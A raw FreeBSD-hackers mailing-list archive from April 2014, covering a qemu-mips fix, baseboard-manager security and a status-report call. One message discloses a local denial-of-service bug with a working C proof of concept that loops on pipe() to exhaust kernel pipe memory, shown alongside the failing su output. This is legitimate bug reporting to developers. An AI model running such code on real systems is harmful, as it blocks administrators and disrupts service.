bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 732931929C8; Sun, 6 Apr 2014 14:59:06 +0000 (UTC) Subject: Re: qemu-mips illegal instruction From: Sean Bruno To: Warner Losh In-Reply-To: References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> <1396635066.1475.25.camel@powernoodle.corp.yahoo.com> <1396651226.1475.41.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-5hwwpCbVyHY27hn09GJH" Date: Sun, 06 Apr 2014 07:59:05 -0700 Message-ID: <1396796345.37365.2.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 14:59:09 -0000 --=-5hwwpCbVyHY27hn09GJH Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Sat, 2014-04-05 at 20:59 -0600, Warner Losh wrote: > > And finally, thanks to peter, we have a 1bit change for 32bit mips > that > > seems to work. > >=20 > > > https://github.com/seanbruno/qemu/commit/d62553b108aa27c0c020dbb771d29f86= 73807a3b > >=20 > >=20 > > Doing a test run now. this might mean that 32bit mips packages > might > > exist this weekend in some form. >=20 > Doesn=E2=80=99t that daddu turn into a simple addu with that bit change? >=20 > Warner=20 Probably, I updated the comment to reflect that in my branch. Also, with nox's help, I seem to be able to build packages now. I will see if they work today. http://bpaste.net/show/0ok9VpgCIeHUzDoc45mW/ sean --=-5hwwpCbVyHY27hn09GJH Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTQWu5AAoJEBkJRdwI6BaHmS0H/jNezh8a3REemHNZQZVDAaZV e3oqtsHd5I73TYMV+zo2NU8BCJVHOTz6xFNdC0KxO72pFanYoqIni6YXwYMLCU4E Z7VuL82hWTXrmZOWsIubd5t9r5Ybq9izUCB/qq0ZWUVe7l0iRAHyq0m3Y8M7HwRY chUee7oKTrAVNoL1lJwz6zBmqFWhk5R0Zpx/HXkD3TpusWkRwNfGeQdjdh9c126B vpnKkWd5Y6kXMtFqgqZEpzYFx7Zz58IP3BfXHLrAq1YRL2E6NpQmIziK3IdV/2Hx RHp3o1LrEAJjZEcwfQBnfNh6M/uvCdxySkziPnFpLxi9UcrAGriEQ9+tWyk1ufY= =7jCI -----END PGP SIGNATURE----- --=-5hwwpCbVyHY27hn09GJH-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 15:36:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1E150FAA for ; Sun, 6 Apr 2014 15:36:58 +0000 (UTC) Received: from mailomat.net (mailomat.net [81.20.89.254]) (using TLSv1 with cipher DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8F01D9B6 for ; Sun, 6 Apr 2014 15:36:57 +0000 (UTC) X-Junk-Score: 2 [X] X-SpamCatcher-Score: 2 [X] X-Junk-Score: 0 [] X-Cloudmark-Score: 0 [] X-Cloudmark-Analysis: v=2.1 cv=f6ZxWoCM c=1 sm=1 tr=0 a=/nRDZZJyYxTE/j0HnTmKXw==:117 a=/nRDZZJyYxTE/j0HnTmKXw==:17 a=Cln8rwbaxfUA:10 a=ZDwDCB9QlRsA:10 a=QX6QvZ3GsOUA:10 a=JysbXFYnAAAA:8 a=dAPAsP0gAAAA:8 a=NUNO_Q2GAAAA:8 a=GfuML84mu7z3egrp6EcA:9 a=vF8JgFM5HzxhwAJJ:21 a=CD7tSLVhXDxgXu9n:21 a=pILNOxqGKmIA:10 a=-mD4bCdHlbEA:10 a=qfQzaZuGX9vIp4vycI4A:9 a=ZVk8-NSrHBgA:10 Received: from [194.39.192.125] (account bnc-mail@mailrelay.mailomat.net HELO bnc.net) by mailomat.net (CommuniGate Pro SMTP 6.0.5) with ESMTPSA id 65541539; Sun, 06 Apr 2014 16:36:39 +0200 X-Junk-Score: 2 [X] X-SpamCatcher-Score: 2 [X] Received: from [192.168.200.188] (account ap@bnc.net HELO [192.168.200.188]) by bnc.net (CommuniGate Pro SMTP 6.0.5) with ESMTPSA id 7063050; Sun, 06 Apr 2014 16:36:38 +0200 Content-Type: multipart/signed; boundary="Apple-Mail=_CA09179D-9C5B-4412-936C-4AC8F14101AB"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Securing baseboard managers From: Achim Patzner In-Reply-To: Date: Sun, 6 Apr 2014 16:36:33 +0200 Message-Id: References: To: Kamil Choudhury X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 15:36:58 -0000 --Apple-Mail=_CA09179D-9C5B-4412-936C-4AC8F14101AB Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Am 05.04.2014 um 17:00 schrieb Kamil Choudhury = : > A new motherboard You might have told us a bit more about that mainboard if you wanted = some hints=85 > I just bought has one of those out of band management=20 > Ethernet ports. When I connected it into my cable router, despite the=20= > cord being plugged into the non-baseboard Ethernet port, the baseboard=20= > grabbed my public IP (I use this box as a router) instead of FreeBSD. =85 because it is using DHCP and probably up and running before FreeBSD = even starts thinking about booting. Nothing wrong there. You might take = a look at the firmware configuration and just turn it off if you don=92t = need it. Or use another NIC for your outside connection. > 1/ How do you protect yourself against this kind of vulnerability? Am = I > paranoid for even thinking this is a problem?=20 Usually by reading the manual and configuring the hardware or turning = the thing off if it is not needed. Or removing the microcontroller from = my mainboard (eg. on Intel server boards) > 2/ While out of band management is useful, I just can't bring myself = to=20 > trust software that seems to have been written by poo-flinging monkeys > (seriously, you need to see the browser-based UI they provide: frames! > ! Java applets!). If you=92re that much better than those programmers you might lend them = a hand. But remember: Your tools have to be running on everything on = this planet including FreeBSD boxes running a browser in a Linux = emulation. And on my Android phone, of course. > Is there any way to replace the vendor provided=20 > solution with something more auditable and configurable? Maybe a = teeny-tiny=20 > BSD-based distribution? Of course. Just write it. But keep in mind that the inner workings of = those remote management modules are quite a bit more complex than their = block diagrams. Achim= --Apple-Mail=_CA09179D-9C5B-4412-936C-4AC8F14101AB Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFaTCCBWUw ggNNoAMCAQICAwyteTANBgkqhkiG9w0BAQUFADB5MRAwDgYDVQQKEwdSb290IENBMR4wHAYDVQQL ExVodHRwOi8vd3d3LmNhY2VydC5vcmcxIjAgBgNVBAMTGUNBIENlcnQgU2lnbmluZyBBdXRob3Jp dHkxITAfBgkqhkiG9w0BCQEWEnN1cHBvcnRAY2FjZXJ0Lm9yZzAeFw0xMzAxMDIwOTQ1MTVaFw0x NTAxMDIwOTQ1MTVaMDMxFjAUBgNVBAMTDUFjaGltIFBhdHpuZXIxGTAXBgkqhkiG9w0BCQEWCmFw QGJuYy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCemZ2gCwrtE8FYdD42ApLp AyRBcfTJHRaU5R/rTbpBTIbDQn4ESOg0697sOlMjiNlzgvuTJeGDSd6DLREb5pJqqNyzW5kTu1yN dzI8442GxyZAYImcXpQNvvA5OxH4GRwzcjlIie5TDZll1pA+OQwDfPWeosfUugHaDU6KuX6QhrJx JYdweO7ZOb9jL2iJGco3QCQKPoqbLt+NmIyV48DsB12H7oW7NI9E5CfiRQqMioVVUvkRWL2w+1MQ +ymaXl0KOqRZOzhKYJpoRmLxO/hKgBTn2MsEqtqMp5gemM3hRKF14MSo85nNqMv25AYJapkENazR hUmISG+1y6/goSJNAgMBAAGjggE6MIIBNjAMBgNVHRMBAf8EAjAAMFYGCWCGSAGG+EIBDQRJFkdU byBnZXQgeW91ciBvd24gY2VydGlmaWNhdGUgZm9yIEZSRUUgaGVhZCBvdmVyIHRvIGh0dHA6Ly93 d3cuQ0FjZXJ0Lm9yZzAOBgNVHQ8BAf8EBAMCA6gwQAYDVR0lBDkwNwYIKwYBBQUHAwQGCCsGAQUF BwMCBgorBgEEAYI3CgMEBgorBgEEAYI3CgMDBglghkgBhvhCBAEwMgYIKwYBBQUHAQEEJjAkMCIG CCsGAQUFBzABhhZodHRwOi8vb2NzcC5jYWNlcnQub3JnMDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6 Ly9jcmwuY2FjZXJ0Lm9yZy9yZXZva2UuY3JsMBUGA1UdEQQOMAyBCmFwQGJuYy5uZXQwDQYJKoZI hvcNAQEFBQADggIBAMmLFZrEKQJqqmh+r8IzcfPl04h4ArE8O+I0BTN0r22hy4izV+F2Qvkwy02g uM8ylmUdCdIFXUQ8joPVT3RJqZ/NmDsdbFq4RziDbF/C219RfTRL1nWcNxudGA4vSLbuBTxD2bSx BkmjRdmpGm3EGwRp7bLtnONuTVBxK7TDculECUbm0Bwh9RAtZr/Gqk5arj5oO0oI9vKdRDVWCUxF m1kS7gwGfVtv2DKFDh3VBqB6kXfx5nP/LOcb7Rwpu4GzBU/e1OFswha9maU9Qi/9URX07Q47dOBc pqhNh5pW12kfeZPO7lcGqfYq08Ub/mKaJcAEaoyD2ILDDhzeeOK3QDlKC56lEt8MW4swef6/MPUh +WuofauNhBXoecf5XonGNuKEhbSmSykSzwoEBdBAO6QUtnpLTlYSeO3Xg/bYfbwJCGkUnd0q+2Q1 fQpN+RxkYqQCb5XaV9Fz7cU4u36Rc/AMDXr+qXEyvOqB7OzeTgjq06VMNQ+mIrGCS9rb7OQmB1o7 8PCOVTqE8z77Du4Bh14wG/SP/kat5IJSuDFjvFT/C8ro46pOfczfq/Eb4QSktwtbD7+Qlh4p/e0B n4nyK1M1MyDnQxzv2XvmWfwoi0tUP2dkT30YtUuucWYFzRO1erg4tVd4xW0ShP1VtynFyWQcPaLT LvWc/0VML6hcaWRuMYIDMzCCAy8CAQEwgYAweTEQMA4GA1UEChMHUm9vdCBDQTEeMBwGA1UECxMV aHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5 MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAwyteTAJBgUrDgMCGgUAoIIBhzAY BgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDA0MDYxNDM2MzRaMCMG CSqGSIb3DQEJBDEWBBRMwk9EXQdnXjNNsrL4mhYir9ULizCBkQYJKwYBBAGCNxAEMYGDMIGAMHkx EDAOBgNVBAoTB1Jvb3QgQ0ExHjAcBgNVBAsTFWh0dHA6Ly93d3cuY2FjZXJ0Lm9yZzEiMCAGA1UE AxMZQ0EgQ2VydCBTaWduaW5nIEF1dGhvcml0eTEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjYWNl cnQub3JnAgMMrXkwgZMGCyqGSIb3DQEJEAILMYGDoIGAMHkxEDAOBgNVBAoTB1Jvb3QgQ0ExHjAc BgNVBAsTFWh0dHA6Ly93d3cuY2FjZXJ0Lm9yZzEiMCAGA1UEAxMZQ0EgQ2VydCBTaWduaW5nIEF1 dGhvcml0eTEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjYWNlcnQub3JnAgMMrXkwDQYJKoZIhvcN AQEBBQAEggEALRmOM2THsU9eqN6s/QHYELKhFfPRhKKaKKMRVk1GlRArIe1Z1kxYmMLBsZ2SKTJu 9MMCj78cov7nqX0uvM5oSCBiChj1prBvegKUaBObPUmOujpl668lzyNu6/B4+miPAeVcXS3WXHKn BMSMcqiWuJ5lpV7norwLAusi7TE8jlUxJQhKwBQjmXymox1Oy4g9GMl/Lq30Fm26FkFzNlK9r5W3 Uw2X81YnokMfu/2gNnNuczn9447KbDL69WtgF45a7J4Vo1wJ1++Hp4j5TUlHLLDIHg11AR3XXkVH YL6u6lKL367Wu1fJkS6y9ssd4oiTlFgX1k6vyXxiEq5NmaNutwAAAAAAAA== --Apple-Mail=_CA09179D-9C5B-4412-936C-4AC8F14101AB-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 16:37:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5189A2BE for ; Sun, 6 Apr 2014 16:37:53 +0000 (UTC) Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.230]) by mx1.freebsd.org (Postfix) with ESMTP id 12013E78 for ; Sun, 6 Apr 2014 16:37:52 +0000 (UTC) Received: from [74.73.125.121] ([74.73.125.121:55739] helo=janus.anserinae.net) by cdptpa-oedge02 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id BE/80-29374-9D281435; Sun, 06 Apr 2014 16:37:46 +0000 Received: from JANUS.anserinae.net ([fe80::192c:4b89:9fe9:dc6d]) by janus.anserinae.net ([fe80::192c:4b89:9fe9:dc6d%11]) with mapi id 14.03.0174.001; Sun, 6 Apr 2014 12:37:48 -0400 From: Kamil Choudhury To: Achim Patzner Subject: RE: Securing baseboard managers Thread-Topic: Securing baseboard managers Thread-Index: Ac9RtopGfqCmNY6oT52vpa4iQl8flw== Content-Class: urn:content-classes:message Date: Sun, 6 Apr 2014 16:37:47 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: MIME-Version: 1.0 X-RR-Connecting-IP: 107.14.168.130:25 X-Cloudmark-Score: 0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 16:37:53 -0000 X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCkZyb206IEFjaGltIFBhdHpuZXI8bWFp bHRvOmFwQGJuYy5uZXQ+DQpTZW50OiDigI40L+KAjjYv4oCOMjAxNCAxMDozNg0KVG86IEthbWls IENob3VkaHVyeTxtYWlsdG86S2FtaWwuQ2hvdWRodXJ5QGFuc2VyaW5hZS5uZXQ+DQpDYzogZnJl ZWJzZC1oYWNrZXJzQGZyZWVic2Qub3JnPG1haWx0bzpmcmVlYnNkLWhhY2tlcnNAZnJlZWJzZC5v cmc+DQpTdWJqZWN0OiBSZTogU2VjdXJpbmcgYmFzZWJvYXJkIG1hbmFnZXJzDQoNCg0KQW0gMDUu MDQuMjAxNCB1bSAxNzowMCBzY2hyaWViIEthbWlsIENob3VkaHVyeSA8S2FtaWwuQ2hvdWRodXJ5 QGFuc2VyaW5hZS5uZXQ+Og0KDQo+IEEgbmV3IG1vdGhlcmJvYXJkDQoNCllvdSBtaWdodCBoYXZl IHRvbGQgdXMgYSBiaXQgbW9yZSBhYm91dCB0aGF0IG1haW5ib2FyZCBpZiB5b3Ugd2FudGVkIHNv bWUgaGludHPigKYNCg0KPiBJIGp1c3QgYm91Z2h0IGhhcyBvbmUgb2YgdGhvc2Ugb3V0IG9mIGJh bmQgbWFuYWdlbWVudA0KPiBFdGhlcm5ldCBwb3J0cy4gV2hlbiBJIGNvbm5lY3RlZCBpdCBpbnRv IG15IGNhYmxlIHJvdXRlciwgZGVzcGl0ZSB0aGUNCj4gY29yZCBiZWluZyBwbHVnZ2VkIGludG8g dGhlIG5vbi1iYXNlYm9hcmQgRXRoZXJuZXQgcG9ydCwgdGhlIGJhc2Vib2FyZA0KPiBncmFiYmVk IG15IHB1YmxpYyBJUCAoSSB1c2UgdGhpcyBib3ggYXMgYSByb3V0ZXIpIGluc3RlYWQgb2YgRnJl ZUJTRC4NCg0K4oCmIGJlY2F1c2UgaXQgaXMgdXNpbmcgREhDUCBhbmQgcHJvYmFibHkgdXAgYW5k IHJ1bm5pbmcgYmVmb3JlIEZyZWVCU0QgZXZlbiBzdGFydHMgdGhpbmtpbmcgYWJvdXQgYm9vdGlu Zy4gTm90aGluZyB3cm9uZyB0aGVyZS4gWW91IG1pZ2h0IHRha2UgYSBsb29rIGF0IHRoZSBmaXJt d2FyZSBjb25maWd1cmF0aW9uIGFuZCBqdXN0IHR1cm4gaXQgb2ZmIGlmIHlvdSBkb27igJl0IG5l ZWQgaXQuIE9yIHVzZSBhbm90aGVyIE5JQyBmb3IgeW91ciBvdXRzaWRlIGNvbm5lY3Rpb24uDQoN Cj4gMS8gSG93IGRvIHlvdSBwcm90ZWN0IHlvdXJzZWxmIGFnYWluc3QgdGhpcyBraW5kIG9mIHZ1 bG5lcmFiaWxpdHk/IEFtIEkNCj4gcGFyYW5vaWQgZm9yIGV2ZW4gdGhpbmtpbmcgdGhpcyBpcyBh IHByb2JsZW0/DQoNClVzdWFsbHkgYnkgcmVhZGluZyB0aGUgbWFudWFsIGFuZCBjb25maWd1cmlu ZyB0aGUgaGFyZHdhcmUgb3IgdHVybmluZyB0aGUgdGhpbmcgb2ZmIGlmIGl0IGlzIG5vdCBuZWVk ZWQuIE9yIHJlbW92aW5nIHRoZSBtaWNyb2NvbnRyb2xsZXIgZnJvbSBteSBtYWluYm9hcmQgKGVn LiBvbiBJbnRlbCBzZXJ2ZXIgYm9hcmRzKQ0KDQo+IDIvIFdoaWxlIG91dCBvZiBiYW5kIG1hbmFn ZW1lbnQgaXMgdXNlZnVsLCBJIGp1c3QgY2FuJ3QgYnJpbmcgbXlzZWxmIHRvDQo+IHRydXN0IHNv ZnR3YXJlIHRoYXQgc2VlbXMgdG8gaGF2ZSBiZWVuIHdyaXR0ZW4gYnkgcG9vLWZsaW5naW5nIG1v bmtleXMNCj4gKHNlcmlvdXNseSwgeW91IG5lZWQgdG8gc2VlIHRoZSBicm93c2VyLWJhc2VkIFVJ IHRoZXkgcHJvdmlkZTogZnJhbWVzIQ0KPiA8Ymxpbms+ISBKYXZhIGFwcGxldHMhKS4NCg0KSWYg eW914oCZcmUgdGhhdCBtdWNoIGJldHRlciB0aGFuIHRob3NlIHByb2dyYW1tZXJzIHlvdSBtaWdo dCBsZW5kIHRoZW0gYSBoYW5kLiBCdXQgcmVtZW1iZXI6IFlvdXIgdG9vbHMgaGF2ZSB0byBiZSBy dW5uaW5nIG9uIGV2ZXJ5dGhpbmcgb24gdGhpcyBwbGFuZXQgaW5jbHVkaW5nIEZyZWVCU0QgYm94 ZXMgcnVubmluZyBhIGJyb3dzZXIgaW4gYSBMaW51eCBlbXVsYXRpb24uIEFuZCBvbiBteSBBbmRy b2lkIHBob25lLCBvZiBjb3Vyc2UuDQoNCj4gSXMgdGhlcmUgYW55IHdheSB0byByZXBsYWNlIHRo ZSB2ZW5kb3IgcHJvdmlkZWQNCj4gc29sdXRpb24gd2l0aCBzb21ldGhpbmcgbW9yZSBhdWRpdGFi bGUgYW5kIGNvbmZpZ3VyYWJsZT8gTWF5YmUgYSB0ZWVueS10aW55DQo+IEJTRC1iYXNlZCBkaXN0 cmlidXRpb24/DQoNCk9mIGNvdXJzZS4gSnVzdCB3cml0ZSBpdC4gQnV0IGtlZXAgaW4gbWluZCB0 aGF0IHRoZSBpbm5lciB3b3JraW5ncyBvZiB0aG9zZSByZW1vdGUgbWFuYWdlbWVudCBtb2R1bGVz IGFyZSBxdWl0ZSBhIGJpdCBtb3JlIGNvbXBsZXggdGhhbiB0aGVpciBibG9jayBkaWFncmFtcy4N Cg0KDQpBY2hpbQ0K From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 09:04:19 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6DD42C32; Mon, 7 Apr 2014 09:04:19 +0000 (UTC) Received: from mail-oa0-x22a.google.com (mail-oa0-x22a.google.com [IPv6:2607:f8b0:4003:c02::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1FE0FEB0; Mon, 7 Apr 2014 09:04:19 +0000 (UTC) Received: by mail-oa0-f42.google.com with SMTP id i4so6376030oah.1 for ; Mon, 07 Apr 2014 02:04:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=ii854scAiMkJD/ny2eyoEgDSZSgZnnuU/F6p05+7LEw=; b=bdQRL4iL8RXvMen7WMRDDGWJmrv87aujBKPKgJlow18BAZDV0iAm18GDMo6jufGFsB vVwtDR0Mt90HSwqqk2mmXr8hRlHyibN7p7YPgi98n7vy4duoOykTtygySEvANLr0KTsi uHtCYWsDTbp0CI7y5SCXOiVkjY8lm85QKJ1lMv0zcOKQrWZqC/ikUwGPkiuDwI/h9mcJ eaCt44swwiKFrnfPzD3h2e9WiL1ryCYqTBKM3TeaiXYWFYLPrqNgXZSCYYKl1aS7Mawi 6rwiSR1skfxemEYUuRxBvwLTjxIHJYBe43tbnihl0yuoLQ56DyYWR1FDIXW+eGy9tp4q Wdcg== MIME-Version: 1.0 X-Received: by 10.60.98.139 with SMTP id ei11mr10867073oeb.43.1396861458331; Mon, 07 Apr 2014 02:04:18 -0700 (PDT) Sender: pali.gabor@gmail.com Received: by 10.182.22.44 with HTTP; Mon, 7 Apr 2014 02:04:18 -0700 (PDT) In-Reply-To: References: Date: Mon, 7 Apr 2014 11:04:18 +0200 X-Google-Sender-Auth: CA854wFRnA0HqNP3y-AE5lXJoBA Message-ID: Subject: Re: Call for FreeBSD 2014Q1 (January-March) Status Reports From: Gabor Pali To: hackers@freebsd.org, current@freebsd.org, FreeBSD Ports Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 09:04:19 -0000 Dear FreeBSD Community, Please note that the submission date for the 2014Q1 aka. January to March 2014 Quarterly Status Reports is April 7th, 2014, that is today. Please consult my earlier message for the details: 2014-03-08 10:24 GMT+01:00 Gabor Pali : > They do not have to be very long -- basically they may be about > anything that lets people know what is going on around the FreeBSD > Project. Submission of reports is not restricted to committers: > Anyone who is doing anything interesting and FreeBSD-related can (and > therefore encouraged to) write one! > > The preferred and easiest submission method is to use the XML > generator [1] with the result emailed as an attachment to us, that is, > monthly@FreeBSD.org [2]. There is also an XML template [3] which can > be filled out manually and attached if preferred. For the expected > content and style, please study our guidelines on how to write a good > status report [4]. If you are still unsure what constitutes a good > status report, check out the last issue [5]. > > To enable compilation and publication of the quarterly report as soon > as possible for the April 7th deadline, please be prompt with any > report submissions you may have. > > We are looking forward to all of your 2014Q1 reports! > > Thanks, > Gabor > > > [1] http://www.freebsd.org/cgi/monthly.cgi > [2] mailto:monthly@freebsd.org > [3] http://www.freebsd.org/news/status/report-sample.xml > [4] http://www.freebsd.org/news/status/howto.html > [5] http://www.freebsd.org/news/status/report-2013-10-2013-12.html From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 11:02:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CDF856F6 for ; Mon, 7 Apr 2014 11:02:43 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 86EFAB5D for ; Mon, 7 Apr 2014 11:02:42 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1WX7K2-0007oa-5C for freebsd-hackers@freebsd.org; Mon, 07 Apr 2014 13:02:38 +0200 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 07 Apr 2014 13:02:38 +0200 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 07 Apr 2014 13:02:38 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Ivan Voras Subject: pipe() resource exhaustion Date: Mon, 07 Apr 2014 13:02:22 +0200 Lines: 80 Message-ID: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 X-Enigmail-Version: 1.6 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 11:02:43 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hello, Last time I mentioned this it didn't get any attention, so I'll try again. By accident (via a buggy synergy server process) I found that a simple userland process can exhaust kernel pipe memory (kern.ipc.pipekva sysctl) which as a consequence has that new processes which use pipe cannot be started, which includes "su", by which an administrator could kill such a process. The description is simple enough, I don't think a proof of concept is really needed, but here it is: step 1: run this as a normal, non-root user: #include #include #include #include #include #include int main() { int fd[2]; int is_error =3D 0; while (1) { if (pipe(fd) !=3D 0) { if (!is_error) { printf("%s\n", strerror(errno)); is_error =3D 1; } } } } step 2: try and fail to run "su" in another terminal: $ su Password: su: pipe: Cannot allocate memory I'm sure this has other implications as well :) The problem isn't present on all systems: on some it looks like the limit on fd's is reached faster than the limit on pipekva. Of 5 machines I tested, 3 running 9.x and 2 running 10.x, both machines running 10.x exhaust pipekva before fd's, while only one machine running 9.x did that. Neither machine had increased fd limits above the autotuned default= s. Anecdotally, a machine which was running 9.x didn't experience this problem with synergys, but it did when upgraded to 10.x with no change to sysctl configuration. --gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iKYEARECAGYFAlNChb9fFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDYxNDE4MkQ3ODMwNDAwMDJFRUIzNDhFNUZE MDhENTA2M0RGRjFEMkMACgkQ/QjVBj3/HSwmBACfUp6EFuPaCZEs5TUNJshlu0g0 eSYAnj/TCZ0JYltGjs+L4aAfg0E44IVU =c5/P -----END PGP SIGNATURE----- --gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 11:12:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6906E541; Mon, 7 Apr 2014 11:12:12 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 0D8D5E1A; Mon, 7 Apr 2014 11:12:11 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s37BC48f001183 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA 